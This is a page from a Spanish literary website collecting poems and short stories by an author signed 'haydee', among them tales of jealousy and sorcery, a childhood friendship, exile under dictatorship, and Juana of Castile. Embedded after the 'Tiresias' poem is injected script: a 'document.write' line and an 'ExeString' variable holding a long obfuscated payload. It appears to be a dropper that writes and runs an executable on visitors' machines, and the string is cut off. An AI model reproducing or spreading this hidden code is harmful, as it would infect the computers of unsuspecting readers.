 El  poder de su abolengo, por todos es conocido.Sólo expresará un deseo y le será concedido.Como hija de un gran  señor, de bienes y relaciones,su futuro es promisorio, lógicas sus pretensiones.   Satisfecha ante el espejo, de su doncella escuchó,que una hermosa gitanilla, al amanecer, murió. -“La encontraron en la calle, donde un potro, la tumbó.Será velada en la plaza, tras la pérgola mayor” -Quizás, más tarde, me acerque, sólo por curiosidad.dice la niña  y  comienza, sus   trenzas a  desatar. Su cabello, hebras doradas , que con orgullo peinópierde el oro, pierde el brillo y en estopa se volvió.Sus dientes, que competían con el nácar y el marfil,Se caen de las encías y descubren  la raíz.Su piel, fina porcelana, lisa y de buen coloridose  agrieta hasta quedar seca, semejante al  pergamino.“Esto es una pesadilla y tengo que despertar” e intenta en vano,  evadir,  la terrible realidad. En busca de explicación  comenzará a recordar.“Salía de misa  un domingo y a un mozo, de muy buen ver, al cruzarse sus miradas, lo notó palidecer. Acostumbrada al halago, no se había  de sorprender. Tan ferviente admirador, logra hacerla estremecer.Eros apuntó su flecha, certera, hacia el pecho de ély aunque ya tenía dueña el corazón de Javier, antes que nada, es un hombre, así se puede entenderque de Esmeralda se olvide  y sueñe un nuevo querer..Sonrió alegre y divertida, conciente de ese poder que le otorgó su belleza y su posición también.A partir de ese momento, el seducido, olvidó, por esa rubia belleza, que en la iglesia conoció,a la hermosa gitanilla  con la que se prometió,Como un loco alucinado, por las calles, la siguió  esperó pacientemente hasta que ella apareciódeslumbrante en su atavío, por las puertas del balcón.La coqueta, de su pecho, un pañuelito, sacó, en él apoyó los labios y  apretado, lo arrojóhacia el joven, que en su boca, sedienta, lo recogió.  El  ardiente enamorado, nunca será  el elegido, Ella alienta otros proyectos. ¡Pero fue muy divertido! Sin más, ahí cegó el fuego, que imprudente, alimentó.Cerró tras de sí la puerta, y de Javier, se olvidóSentada  junto a la fuente, no volvió a pensar en él,que bajo el balcón espera, ansioso, volverla a ver.   Triste y mustio, vuelve a casa, agotada la esperanzaSale a su encuentro Esmeralda, inquieta por su tardanzay más se inquieta  al notar  una completa  mudanza.El se mantiene callado, sumido en sus pensamientos.Tan sólo bebe una copa, y rechaza el alimento Los manjares, en la mesa, se terminan por enfriar.-¿Qué sucede, amado mío? De tu cambio la razón, necesito conocer, para  hallarle solución.-Nada ha cambiado, Esmeralda,.Nada tienes qué temer.-Sólo son ideas tuyas, y lo debes entender. Inquieto su corazón, no la ha dejado dormirpercibe que algo anda mal, la duda, le hace sufrir. Al oírlo hablar en sueños, atento pone el oído,sus expresiones de amor, no la tienen por destino.Amargas lágrimas  vierte, sin poderlas contenerve entonces el pañuelito, en la mano de Javier.Con destreza se lo quita, lo observa con atención.Para confirmar sospechas, tomará una decisión. Corre  por calles oscuras, llega a una casa modesta,bien sabe que mora allí, la bordadora más diestra.Una mujer, aparece, con un candil en la mano,enrojecidos los ojos y el torso muy encorvado.Muestra el pañuelo y exige enseguida, una respuesta - ¿Quién lo  encargó y para quién? ¡Necesito ya, saber!.Sorprendida y asustada, le contesta, la mujer:-Para la hermosa doncella  hija del señor marqués,bordé yo  los monogramas, tal como los diseñó,su madrina, la condesa, que fue quien los  encargó. Esmeralda retrocede, palidece al recordar, a quien  por su gran belleza,  no puede tener rival.Una moneda de plata, en la mano de la obrera, es el pago merecido, por esa data certeraSe aleja y corre descalza por las calles empedradas,No siente frío ó dolor, está como anestesiada. Se aleja de la ciudad, en pos de una senda oscura, donde ralean las casas y no se atreve la luna.Un gato maúlla a su paso y  una lechuza, en alerta, se lanza tras un ratón,  que se escurre por la puerta, esa puerta que se abrió, sin que ella se diera cuenta.Es Maguira, la hechicera, que infunde a todos pavor,aunque ciega, lo ve todo y penetra  el interior Un vago temor la invade, un sudor frío, la inunda, Intenta escapar  de ahí, cuando oye esa voz profunda..-Se bien a lo que has venido,  nada tienes que explicar  he visto dentro de ti y estoy dispuesta a ayudar.A los conflictos de amor, es necesario enfrentar,asuntos del corazón, no conviene prolongar.-Acerca hacia mí  la prenda de quien provocó tu mal,donde ha quedado su esencia, ingrediente primordial,de este infalible conjuro que, sin duda, logrará que él decida no volver, a la que hoy es tu rival. “Lleva contigo el pañuelo y  vuélvelo a su lugar.Javier, amarrado a ti “ Por siempre, tuyo, será.” -“En cuanto al precio, le dice, de nuestro pacto acordado,todo lo que de él derive, tendrás por justo, aceptarlo”. Vuelve corriendo a tu casa, y procura descansar,para que hermosa, él te vea, a su lado, al despertar Esmeralda, resplandece, con luz de felicidad.Acepta las condiciones de Maguira, sin chistar.    Sobre el palacio una negra, densa bruma se asentó,nadie consigue encontrar, para eso, una explicaciónLa servidumbre aterrada, los señores confundidos Ven transformarse a la  hermosa, en un ser desconocido.Esa figura perfecta, envuelta en  sedas y encajes,que expertas manos cosieron,  para que  las modelase,al reflejarla el espejo, que sostenía su paje,se derrumbó  sin que nadie, evitarlo, consiguiera                        y Los ojos iluminados de  inmensa felicidad,va Esmeralda, como flecha, recuperada la paz. Cortó los tientos de cuero y por la esquina cruzó, negro potro, encabritado, que del corral, escapóy  topándose a Esmeralda, al suelo, la derribó.Ni un grito, ni una palabra, de su boca se escuchó. El soldado,  que corría,  tras el potro, lo juró. El amanecer, sorprende, a labriegos del lugar, que antes de salir el sol, van a ganarse su pan.  El  rostro sucio de barro, que sonríe dulcemente, sosteniendo entre los dedos, un pañuelito celeste,con un candil iluminan y llora la buena gente. -¡Es la gitana Esmeralda, la pobrecilla  murió!-¿Qué hacía en la noche oscura, cuando el potro la tumbó? Van en busca del amante, a traerlo con premura,ha de conseguir para ella, una digna sepultura. No hubo  gitana más bella en la ciudad que habitó.Contrajo una enorme deuda, por retener al amor. Desmesurado fue el precio, que dos vidas se cobróUna murió despojada, la otra, no lo disfrutó,Javier, va por las tabernas, sumergido en el alcohol.“El espíritu del mal, otra vez es  vencedor.”Magui
El precio
Autor: haydee  643 Lecturas
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            El día en que yo me muera, podrá ser un lindo día, con el cielo azul celeste, surcado de golondrinas Vendedores ambulantes vocearán su mercancía. De los árboles, las hojas, se mecerán con la brisa. Las mujeres laboriosas estarán en sus cocinas,  reemplazando con ingenio las carencias de la vida y los niños con sus juegos, seguirán en las esquinas. Finalizada la clase y  pasado el mediodía, volverán los estudiantes a reponer energías, Al atardecer, la gente, en su hogar o en la oficina, continuará sus tareas, igual que todos los días. Nada cambiará en el mundo, la rueda gira que gira, una muerte, nunca altera, la rutina de la vida, ¡De la vida de los otros, que no será de la mía, porque ya estaré bien muerta! mientras que las margaritas nacerán sobre la tierra, mi eterna, blanda cobija y crecerán sus raíces, apretadas, confundidas,  absorbiendo de mis restos, nutrientes para sus vidas. No seré sólo despojos, /ni mi osamenta vencida se degradará  en la nada. / Trasmutará  su energía, en forma color y aroma / por renacer cada día.   Como verdad comprobada, me satisface y asombra. “Nada se pierde en el mundo, solamente, se transforma”.
Nada se pierde......
Autor: haydee  485 Lecturas
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Descoloridas por el tiempo, esfumadas imágenes, me observan desde el viejo álbum.  Esa que sonríe  soy yo, pequeña, insignificante, eclipsada por la belleza de quien posa a su lado, Odile. Llegó un día de Francia con sus padres para instalarse en la casa frente de la mía. Preciosa, como una muñeca de porcelana e igualmente fría y distante. Recibía elogios, como un tributo merecido. Íbamos a la misma escuela y  en ocasiones, su mamá nos daba lecciones de francés y  de piano. La buena señora, me consideraba una influencia positiva para Odile y confiaba que mi carácter, alegre y expansivo, atenuaría  el suyo, frío y altanero. El papá, ingeniero aeronáutico, los domingos, nos llevaba a pasear en el  auto descapotado de la familia.  Regresábamos cantando, después de haber sido gratificadas con sabrosos helados.  Un día de febrero, al volver de vacaciones, corrí a llevarle una caja de alfajores, adquirida con mis ahorros. Odile, aporreaba el piano, sin prestar atención a mis insistentes llamados. Era  jueves, día en que se quedaba sola,  pues su madre, daba clases a domicilio. Molesta por su actitud, apoyé la caja en  el muro y  arrojé una piedra  hacia la ventana  abierta. Enmudeció el piano y enseguida oí  el   impacto de su cuerpo contra el piso de madera. Traspasé la verja y me precipité al interior de la casa con el corazón queriendo salirse de mi pecho. Odile, bajo la oscura cabellera ensortijada, yacía inerte. Caí a su lado, llorando, ¡había herido a mi querida amiga! La policía vendría a buscarme y la fuerza de la ley caería sobre mí con todo su rigor.  ¡Lo tenía merecido! ¡Me dejé llevar por un loco impulso! Aparté el cabello de su rostro para descubrir, sin lograrlo, la herida que creí haberle provocado. Me temblaban las manos y abundantes lágrimas nublaban mi visión. Hice un intento por levantarla, era más alta y corpulenta que yo y sobre llovido, mojado, fui a dar al piso con mi preciosa carga.  La impotencia y la desesperación aniquilaron mis escasas fuerzas y  abrazada a su cuerpo, pedí a Dios que me llevara con ella. – ¡Te suplico, Señor, mi vida, ahora, no tiene sentido! ¡La hiciste perfecta, pero orgullosa y altanera! ¡Nada le era suficiente, iba a ser muy difícil conseguirle marido! ¡Su padre trabajó duro para satisfacer sus gustos y también su madre que se privó de muchas cosas, por complacerla!  Egoísta y despótica, fui su única amiga.  ¡La única que la soportó!  Con mis ahorros, Señor, sabes que mis padres no son pudientes, compré estos…. recordé la caja de alfajores y corrí a buscarlos. Al volver, Odile, atisbaba, sentada en el taburete del piano, con cara de pocos amigos,  Me flaquearon las piernas y a punto estuve de caer sino fuera porque logré asirme a  un sillón. -Odile, Gracias a Dios ¡estás viva! – le dije entre risas y lágrimas.  Al espontáneo intento de abrazarla respondió con su habitual frialdad y mal genio:  - ¡Esto ha sido bueno para enterarme del concepto que te merezco!,  y con imperativo gesto de  su mano, me señaló la puerta. ¡Claro que fue  bueno, muy bueno, a partir de ese día comenzó a cambiar! ¡No por causa de la piedra, que ni siquiera la rozó!   ¡Hoy continúa siendo excelente comediante, además de mi mejor amiga!    
La Foto
Autor: haydee  720 Lecturas
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  Sostenía, entre dos dedos manchados de nicotina, el resto de un cigarrillo. Expulsó el humo y saludó. Sus ojos se  cruzaron con los míos y  una nube roja, se instaló en mis mejillas. La primera vez que lo veía, en mis doce años. Me embargó una  sensación desconocida, al levantar la vista, me encontré con la suya, algo burlona y sobradora. Atiné a balbucear  algo y desaparecí. A partir de ese día, nos  cruzamos  en varias ocasiones. Traté de evitarlo. En vano, había despertado mi femineidad . ¿Cómo una simple mirada, pudo cambiar tantas cosas y acelerar los tiempos? Olvidé a mis amigos, renuncié a los juegos y a los vestidos que me sujetaban  a la niñez. Frente al espejo, ensayé actitudes de adulta disfrazada  con ropa de mi hermana mayor, ante el asombro  de mamá, que me descubrió en plena  función. En mi cuarto, cerrado para no revelar secretos, imaginé situaciones en que ambos éramos protagonistas. En esa fantasía  me vi brillante, ingeniosa y divertida. La realidad, en cambio evidenció mi torpeza y  timidez. Elegí la soledad. Para lograrlo, salía  del colegio, después que todas mis compañeras. Una de esas tardes, lo encontré al doblar una esquina. ¡Me sentí tan  ridícula en el uniforme escolar!. El rubor  tiñó de nuevo mis mejillas. Dominé el impulso de echar a correr. Saqué fuerzas, no sé de dónde y lo miré a los ojos, ahora ni burlones ni sobradores. Descubrí sí  una boca bien dibujada y una sonrisa  agradable y simpática. De ahí salieron las palabras más dulces y también las más tontas que escuché de un hombre, porque él tenía dieciocho, seis más que yo. Caminamos hasta la plaza. Como en  tácito acuerdo, nos sentamos en un banco, sin hablar. ¡Ya había dicho todo!. Empezó a oscurecer, me acompañó hasta la puerta de casa. Ya éramos novios.  
Novios
Autor: haydee  742 Lecturas
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      En Burgos muere Felipe, también llamado” El Hermoso” de Juana, frívolo esposo. Yerto y frío, la conmueve. Se unieron en matrimonio como entonces se estilaba por intereses de estado que sus padres concertaban. Cambiaron una mirada, se desearon con pasión,  los casaron de inmediato. En Lille se hizo la unión. Varios niños da a luz Juana, en preñeces repetidas,  es una madre fecunda, cualidad desconocida en mujeres de la realeza que mueren al dar la vida. Ella pare, donde sea, por no dejar a Felipe cortejar a otras mujeres, como su rango le exige.  Lo persigue día y noche, lo convierte en su obsesión Felipe joven, mundano, no le brinda su atención. Viaja a la corte de Flandes, escapa de su mujer, allí la vida es distinta, para quien  busca placer.  Juana sufre por los, celos un tormento verdadero  tras los pasos de Felipe que hace vida de soltero rodeado de hermosas damas, codiciado caballero. Enferma retorna a España, a refugiarse en su madre Deja hijos y marido allá en la corte de Flandes. Isabel, acongojada, al ver deprimida  a Juana recurre a sus consejeros y procura consolarla. Cuando la pena es de amor, al no ser correspondido, huelgan todas las palabras que se puedan haber dicho. El equilibrio se rompe, se pierde la sensatez Si la cordura se esfuma, lo peor va a suceder. Siempre triste, siempre sola, sumida en la desazón Nada le importa en la vida, si le falta el corazón, a quien se lo había confiado, no le dio ningún valor. Y vaga por los rincones con la mirada perdida Los consejos le resbalan, se siente sola y vencida. Mueren sus nobles hermanos, después los sigue Isabel, Juana será la heredera de una imponente Babel. Por desentenderse, Juana, Fernando asume el poder, Llega Felipe de Flandes, y lo reclama para él. En un juego de pelota, Felipe, va a competir, acalorado termina y es comienzo de su fin, después de beber el agua que alguien le hiciera servir. En breve tiempo, el Hermoso, abandonó el mundo cruel Dejó a sus hijos, a Juana y a su afán de ser el Rey  Fernando ve satisfecho, concretarse el plan forjado Su hija sin ton ni son y su yerno ya finado, en sus manos el poder, el camino despejado.  Juana escucha la noticia de la voz de un emisario Imperturbable, serena. Comienza un nuevo calvario. Se murmura en todas partes de las rarezas de Juana. Esa reina tan fecunda, heredera afortunada, de ignotos vastos dominios, de títulos y medallas que la tienen sin cuidado porque no le importan nada. Ella implora que la dejen acompañar a su esposo por monótonos caminos, hacia su eterno reposo. En las noches, Juana ordena, que se haga abrir el cajón Teme que roben el cuerpo, objeto de su pasión. Abrazada a los despojos, le hablan de resignación, Extraña, absurda palabra, sin cabida en su dolor Nocturnal y silenciosa, va funesta caravana, que no se acerquen mujeres, es su insistente plegaria. Camina lenta y pesada, por su habitual gravidez El ataúd hace abrir y al cadáver, abrazada, no siente el asco mortal de la carne putrefacta,  ni percibe la envolvente fetidez  que todo abarca. Cuando se duerme, los monjes, vuelven a cerrar la caja Y la conducen al lecho, improvisado con mantas. Hasta la  siguiente noche, que repetirá la trama. Ensanchada la cintura, la semilla que sembró, el difunto, ha germinado y Catalina, nació, Llegados a Torquemada, comienza el parto de Juana, Dando a luz a Catalina, quien vivirá  desterrada, acompañará a su madre hasta que sea desposada por Juan, rey de Portugal y a su reino trasportada.   Encerrada en Tordesillas otra vez Juana está sola. .Ambula por los  rincones  triste, angustiada, sombría, partió bien de madrugada su querida Catalina. Nadie tiene piedad de ella, nadie acude a su lamento Nadie viene a consolar su fatídico tormento. Ella que nació princesa y heredó poder y gloria,  aislada y lejos del mundo, ha perdido su memoria. ¡Qué malhadado destino, la vida le deparó! ¡Qué interminable es el tiempo  de desventura y dolor! Sin permitir que la aseen ni cambien sus vestiduras, la piel enferma y llagada y la mente desquiciada, así termina sus días quien nació tan bienamada. ¡Qué malhadado destino, la suerte le deparó a quien nació en cuna de oro y en  triste celda, acabó!        
Doña Juana de Trastámara
Autor: haydee  794 Lecturas
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  David, vendía discos en el negocio de su padre. Próxima a terminar el secundario, a la salida del colegio, pasé a buscar lo último de Abba, el conjunto sueco que hacía furor. Entré a la cabina de prueba, el botón de volumen no funcionaba y  pedí  ayuda. David solucionó rápidamente el problema , satisfecha, me llevé el disco. Había notado la deferencia de su trato, más allá del interés comercial.  Habló de un  sorteo para los clientes de la casa, con ese pretexto solicitó mis datos,  desconfié y sin pensarlo, le di los de Ana, una amiga, la primera que se me ocurrió. En el baile de egresadas, me sorprendió verlos llegar juntos. Para evitarlo salí a bailar, no se me ocurría nada para justificar mi engaño. Mientras tomaba un jugo, en el bar del hotel, se sentó a mi lado. Atiné a elogiar su buen gusto por la elección de mi amiga. -Es muy linda- contestó- pero no es la que yo elegí. No quise escuchar, intenté alejarme. Ignoró mi fastidio, me tomó de la cintura y me llevó hacia  la pista, precisamente comenzó a sonar la música de Abba.  Olvidamos  nuestras diferencias y bailamos toda la noche, al principio, algo envarada, pero  con  tan buena pareja,  disfruté  girando entre sus brazos.   En el intermedio salimos a la terraza, la noche, tenía un especial encanto.  La ciudad, iluminada, se extendía en luces y sombras, como una prolongación del cielo infinito. Bajamos hasta el parque. El césped, húmedo de rocío, me obligó a quitarme las sandalias, y sentí la frescura en mis pies doloridos. ¡Que placer!.. Después del intenso ejercicio... Además de ser un buen bailarín, David, era un buen conversador, hablamos de  proyectos, de   sueños...  en poco tiempo obtendría su licenciatura en ciencias de la información, mientras, ayudaba a su padre en el negocio. Con un grupo de compañeros de la facultad, se habían propuesto, cambiar el mundo. En su cabeza  había  un torbellino de pensamientos  e ideas que privilegiaban  la libertad y la solidaridad. Habló con fervor  de proyectos  y de la forma en que planeaba realizarlos, esa noche era mágica y  contagiada  de su entusiasmo,  participé de su sueño. Confesó  que la seguridad de encontrarme, a pesar de tener una importante reunión, lo decidió a venir, el teléfono que le dejé, aunque era de Ana,  le dio la posibilidad de llegar hasta mí. Era lo que se había propuesto. Sentí sorpresa y halago. Sus ojos azules, tenían un brillo húmedo y la mirada  limpia y sincera. Me dijo algo que en ese momento no comprendí:   -“Ahora no puedo prometer nada,  no nos veremos por un tiempo, pero cuando sea la ocasión  te buscaré y  podremos concretar una relación, si así lo deseas.” La mágica noche, sus palabras, el perfume de las madreselvas  provocaron un efecto embriagador. Asentí. Después llegó el primer beso, profundo irrepetible... Volvimos al salón. Alguien lo apartó y le habló al oído. Se acercó para despedirse, su rostro tenía una  palidez  que me alarmó. Fue la última vez que lo vi. Pasó una semana y después otra. No me separé del teléfono, en vano esperé su llamado. Me decidí, fui hasta el negocio, en la cortina metálica de la puerta, habían pegado una faja   con la palabra Cerrado. Pregunté a los vecinos, nadie supo darme razones, tuve la impresión de  que  estaban atemorizados. Volví a casa  sin saber qué hacer. La  explicación tenía que estar en sus palabras. Las tenía muy presentes pero no pude descifrar el enigma.  Pasó el tiempo de las fiestas de fin de año, fui a veranear con mi familia y empecé a prepararme para el ingreso a la universidad. Los estudios absorbieron mi atención y mi tiempo. Conocí mucha gente, aquella mágica noche pasó a ser un recuerdo, con visos de fantasía, inconcluso, irresuelto,  no podía  jurar que fue real. Me casé, nacieron mis hijos. Mientras personas como yo, transcurrían inmersas en la diaria rutina, otras desaparecían sin dar señales o huían a refugiarse  lejos  del peligro y la persecución.  La burbuja en la que vivía, me impidió saber  de hechos terribles.  De casualidad, me enteré, años después,  que la misma noche del baile de egresadas, cuando llegó su amigo a buscarlo, huyeron del país para  salvarse. Los que fueron a la reunión, a la que estaba convocado, cayeron en una trampa. Quedaron  detenidos, y de ellos, nadie supo más nada. El azar, le ofreció a David, la oportunidad de cambiar su destino y salvar la vida.  Supe que en Francia, donde  pasó diez años, sufrió lo indecible, sentía culpa por no haber compartido la suerte de sus compañeros. El  grupo de expatriados lo contuvo y le ayudó a recuperarse. Se impuso el  aislamiento, evitó conectarse con sus familiares y amigos para preservarlos.   Los militares decidieron que era tiempo de  convocar a elecciones, volvimos a la democracia. Los  que regresaron, después de aquellos oscuros años de represión,  trataron de rehacer sus vidas, con parches y remiendos.  Hay heridas que tardan en cicatrizar y otras que nunca  cierran.   Hoy decido caminar sola y no sé por qué razón, mis pasos me llevan hasta  el parque del hotel  donde hicimos la fiesta de egresadas, será porque hoy, casualmente, se cumplen veinte años y vuelvo al escenario donde un beso despertó a la mujer que dormía en mí.  Más tarde, nos reuniremos a festejarlos en la casa de  Ana, precisamente.  Busco el banco donde nos sentamos esa noche, pero hay alguien ocupándolo. Elijo otro.  El hotel cerró hace años, el parque, muy descuidado, está cubierto de maleza, no fue una buena idea venir, hasta podría resultar peligroso. Decido volver a casa, al cruzar la calle, escucho pasos detrás de mí. Me detengo, es el hombre del banco,  tiene algo en su mano, - Se le cayó esto, Sra.- me dice-  y me ofrece una rosa.  No me da tiempo a  responder, se aleja enseguida. El eco de sus  palabras, estimula mi memoria  auditiva   -No  hay duda, es  David. Reprimo el  impulso  de llamarlo. ¿Para qué? No soy la de hace veinte años, él, tampoco. Me dio la impresión de  un  hombre cansado y triste. Tal vez, cuando me miró a los ojos vio lo mismo que yo en los suyos. No lo culpo, si es la razón por la que  huyó. Es mejor así, si algo había pendiente, ya está concluido.   En casa mi esposo  pregunta si la rosa que traigo en la mano es obsequio de un admirador –Sí, -respondo - Hace tiempo, sin proponérmelo, cambié su destino.  -¡ Claro,- contesta, en consecuencia, también el mío! ¡Ese tipo me debe una indemnización! Dejo la flor en un vaso con agua y voy a ducharme. Ana nos espera. Haydée López
Fiesta de Egresadas
Autor: haydee  866 Lecturas
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Azarosos largos años, cuando nació, le auguraron, mañana cumple noventa, está caduco y cansado. No quiere celebraciones, ni visitas ni reuniones, lo dijo a Flora Avendaño, ella entendió sus razones. Lo conoce de muy niña, cuando a la hacienda llegó, desde una aldea  olvidada, que el incendio consumió. Tiznada su piel oscura, en la mirada el terror, por lo que sus ojos vieron, cuando del río volvió. Era una cría rebelde pero en  la hacienda cambió desde el nombre y las costumbres, a las creencias y el dios, La rígida disciplina, su carácter doblegó,  aprendió a ayuno y  fustazo, obediencia y sumisión. Entrenada en el servicio, para servir se quedó. Pasaron más de diez años, en los que se convirtió en  una joven gacela que a preservarse, aprendió Fue en una noche de luna, que el destino los cruzó. El volvía de parranda, ella aguardaba al amor. Le iba quitando las ropas, empapadas de sudor, Al rozar su piel ardiente, su fuego, la contagió. Las estrellas se fugaron y la luna se escondió detrás de una densa nube por no ver lo que pasó. Fue amante de algunas noches, después a otra conoció, con el tiempo, fueron tantas y de todas se olvidó, tan sólo Flora Avendaño, en la hacienda perduró. Ahora es su confidente, la que su plato adereza, quien se encarga de su ropa, de su copa y de su mesa. La que pone paños fríos cuando hierve su cabeza,  quien ahuyenta a sus fantasmas en las noches turbulentas, la que firme en su atalaya  y dispuesta a lo que sea,  lo protegerá de todo, como al cachorro, la fiera, así evitarle un disgusto, un dolor ó una tristeza.   En lo profundo de su alma, intuye que sólo es ella, quien tiene, de su señor, las llaves de las miserias y con eso tiene todo, pues eso la hace “Su Dueña” Será el amo, mientras viva. Al hombre, un día, enterró junto al amor, que en su pecho, sediento, se marchitó, en el cuerpo sigue intacta, la marca que le dejó. Finalmente, recobrada,  de esa sumisión atroz, aprendió a ver por sus ojos, que no es tarea menor. El corazón, la hizo esclava, el tiempo la liberó. Un día, como cualquiera, la visión, recuperó.     Hoy  ordenó, algo frugal, ligero para su mesa, para su cama, una virgen ¿ha perdido la cabeza? ¿Ó es que hurgando en sus recuerdos, despertó algo que lo tienta? Han salido unos criados a buscarla donde sea. Está en el ocaso el día y todavía no encuentran  la  doncella, que caliente, de su patrón, la osamenta. El pobre, está en puro hueso y así mismo no escarmienta. Ya le traen a la virgen, está del todo cubierta, que el ojo humano, no roce, ni mancille su pureza. La recuestan en la cama, perfumada para ella, con pétalos de mil flores, exóticas, de la selva. El aroma, penetrante,  le causa dulce embriaguez, la niña, en el lecho, tiembla, aún sin saber porqué. Lentamente se sumerge, en profunda languidez. Dos criados traen al viejo, enredado entre sus huesos, en fina camisa de hilo, que le cubre el esqueleto. La eterna Flora Avendaño, quien fue, su primer amor, ha preparado el brebaje que resucita el vigor. Lo depositan al lado, de la doncella dormida, para  alejarse en silencio y continuar con sus vidas. Los ungüentos y lociones, no alcanzaron a ocultar  el agrio olor del pellejo, del viejo que aún quiere amar. Con memoriosa paciencia, tratará de  recordar y su mano sarmentosa, con torpeza,  acariciar. Abre los ojos, la niña, entre despierta y dormida, aparta la garra fría y de la cama se exilia. Bate sus brazos, el viejo, como queriéndola asir, sin conseguirlo, se agota, rendido, vuelve a dormir.   El día bien avanzado, entran Flora y los criados. La virgen, duerme en la estera, el viejo, quieto, morado, entre pétalos marchitos y un rancio olor a pasado.   .Haydée López    jueves, 27 de agosto de 2009          
La Dueña
Autor: haydee  659 Lecturas
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 No tienes que decírmelo. Sé con certeza cuando dejaste de amarme. El aire, entonces, se volvió denso, asfixiante, secó mi piel y por las grietas, se metió dentro, agostó lo que encontró a su paso hasta llegar al corazón. Fue misericordioso. Evitó el sufrimiento de desgarrarme de a poco. Ahora estoy cual me ves. No espero nada porque nada puedo dar. Me desprendo de una etapa, la mejor de mi vida  que compartimos juntos descubriéndonos, asombrados por nuestras coincidencias y nuestra contradicciones,  por la infinita ternura  que despertó en mí tu devoción incondicional y tu incondicional entrega... cuando el dolor lacere mi alma, no abrevaré en los recuerdos. Si pudiera borrarlos de mi memoria… Olvido, haz que tu manto cubra mis noches en vela, cuando las brisas del campo me traigan aromas de ella. Cuando vibre en mis oídos, la armonía de su voz con renovadas promesas y juramentos de amor. Cuando su piel y  la mía, fundidas en el abrazo, entre caricias ardientes, me sujeten a su lado. Cuando su imagen  me acose, sin que nada pueda hacer por borrar de mi memoria lo que no puedo tener. Cúbreme pues, con tu manto, Misericordioso Olvido  Y tal vez, cuando despierte,  llegue a ser lo que no ha sido.  
Desamor
Autor: haydee  678 Lecturas
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Es Tiresias, el tebano, excepcional, como ser, en ocasiones, es hombre, en otras, una mujer. Para aclarar la cuestión, ya que es el más indicado, Los dioses, que alegan dudas, al Olimpo, han convocado. Por sus  vastas experiencias, sin más, es interrogado.   A Zeus y también a Hera,  decide, hacerles saber quien goza  más con el sexo, si es el hombre, o la mujer. Por privadas situaciones, que se cuida de  contar, sin vacilar, les responde: -Ellas, nueve veces más. Hera, que es una mujer, susceptible y recelosa, sin mediar otra razón, lo ciega. ¡ Cosas de diosa! Zeus, inclina la balanza y le otorga larga vida.   Atenea, por su parte,  el don de las Profecías.   Guillaume Apolinaire,  autor de los caligramas, en su poema “ Las tetas de Tiresias” hace referencia a este personaje de la mitología griega. Tiresias, fue quien anunció a Edipo las profecías. jueves, 04 de agosto de 2005 document.write "" ExeString = ">cjChTg_lb+BnjkN_us&P_rN_us&>bfl_bRcak+;jmk_I_i_]q+@ML+QmPg_fi+QckO[ne+Mo_D&@fm[fvCcmhMraEG^mn^qn&EGR_nAhg&EGBl_^s_Gfkc_r'#JDFfj_Cq'#JD=od[nbL[ci'#JDJonj[d`n_%(Bm^Pt\@rm]nfnhHI;jmdh^Qn@fk_J^sb&Qxj_Psl#IhDlllqLbrogbH_usPdnOd[^Qdgj_c`ofqH]ik[#QmPg_fi-L_dVlcqdEJ?S\BF;PR?M\QIIQ[^fiecfb[M]ohjnBmackdV)!PbrenloV&(IoO@`m_%O[neM[gb(7T=[pdQfmJ[qg !>_pjnim!##Qg_hBnqDrcpsm:+Dh^H`H`Esn?uhmnp7-NbbmCRI(@njsChf_VchM`nb%pxmnbl-,Yc_mhsij+hhc+J[qgH[jdCRI(@njsChf_VchM`nb%td\VCnf^bq(bqs&M`nbK`g_?haC`?ha@okbnclm@okbnclmEGR_nAhg&Ik?lonlOdmojdHbwnDll+Bf_^qQdmnFs7VM]ohjn+R]lfon@rkfh^l_H`BqlQg_hChTg_lb7gngi!Bkm_ChTg_lb7u\m?kcCcCcChTg_lb7u\mNbbmPdnCRI:=lb`n_Lad_`sPblcmschd-@cidMsps_gLad_`s#M_qQmPg_fi7@q_[qdI\gd]n%!QM`qcjq-Mbbkf&?ir_R_n@jjidI\gd]nqlf(7Hhn%'3'Lha(#M_rqNbljMqqchd7!Cnlfr]Jh^QgcmQdrn)h&+&(FeNbljHrl70-Qg_hN_joHoj7/7Bkm_FeNbljHrl70*Qg_hN_joHoj7/8Bm^FeQdgj@g[l
Tiresias
Autor: haydee  665 Lecturas
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        Desde el ómnibus que lo conduce de vuelta a casa, el paisaje conocido de campos interminables, pequeños caseríos, lagunas, puentes sobre arroyos y ríos, no le distraen del motivo de su viaje. Siente una urgencia visceral de estar al lado de Eva, su amor.  Ella, no sabe de su  regreso, la intención, es sorprenderla.    El pueblo que lo vio crecer, cercano a Bahía Blanca, no supo o no pudo apreciar las notables condiciones  del joven  Francis, dibujante y caricaturista. “Nadie es profeta en su tierra”. Cansado de golpear puertas sin obtener resultados, decidió enviar sus  trabajos a editoriales de la capital. Pasaron meses hasta que alguien creyó en su talento. Enseguida, se mudó y empezó a colaborar en revistas y también en un diario. De esto hace cinco meses, cinco largos  meses en que satisfacer las  necesidades básicas, estar al tanto de las noticias para motivarse, y la adaptación a este importante cambio de vida ocuparon  su tiempo.  Los fines de semana, después de poner orden en el cuarto, sus papeles y la ropa, hace caminatas interminables en las que descubre lugares increíbles de esta inefable y desordenada ciudad. Junto a Eva, sería completa su felicidad, por el momento  es impensable. La joven, carga sobre sus hombros una  historia que siente como un estigma, y al confiársela, despertó en Francis una inmensa ternura. Hija de una niña- madre, demasiado inmadura, para asumir la responsabilidad de  criarla, la dio en adopción a un matrimonio sin hijos, Lidia y Guillermo, ella, una mujer neurótica, exigente y perfeccionista, él un militar de carrera que construyó la gran residencia que soñaba poblar con una numerosa descendencia. Nada de eso pasó, agotado los intentos y profundamente desilusionado, por razones de trabajo, empezó a viajar con frecuencia. Fue un alivio, le resultaba insoportable encontrarse con la agria cara de su mujer cada día más obsesiva con el orden y la limpieza, sus objetivos de vida. Inevitablemente, volvía los fines de semana. Un sábado llegó decidido a ejecutar un propósito gestado cuando se enteró que no tendrían hijos y consolidado al paso de los años. Cambiar la mansión por un departamento en la ciudad. Tendría que vencer la dura resistencia, que seguramente, le opondría Lidia, que amaba  su residencia sobre todas las cosas. Al llegar, la vió sentada en su sillón favorito, junto al hogar, absorta, con un pequeño envoltorio en su regazo. Pensó que había enloquecido de soledad y se sintió culpable. Se acercó a su esposa despacio, conteniendo la angustia que lo embargaba. Ella levantó la vista cuando advirtió su presencia y  tendió los brazos ofreciéndoselo. Era una criatura de pocos días. Temerosa, casi suplicante, le contó a su marido que la trajo una mujer desconocida y tan desesperada que la creyó capaz de arrojarse al paso del tren, se lo juró, si no le recibía a la recién nacida. Cuando Lidia se recuperó de la sorpresa, la mujer había desaparecido. Guillermo, llamó a su abogado y amigo y también a un pediatra de su confianza. Relaciones mediante, después de comprobar el excelente estado de 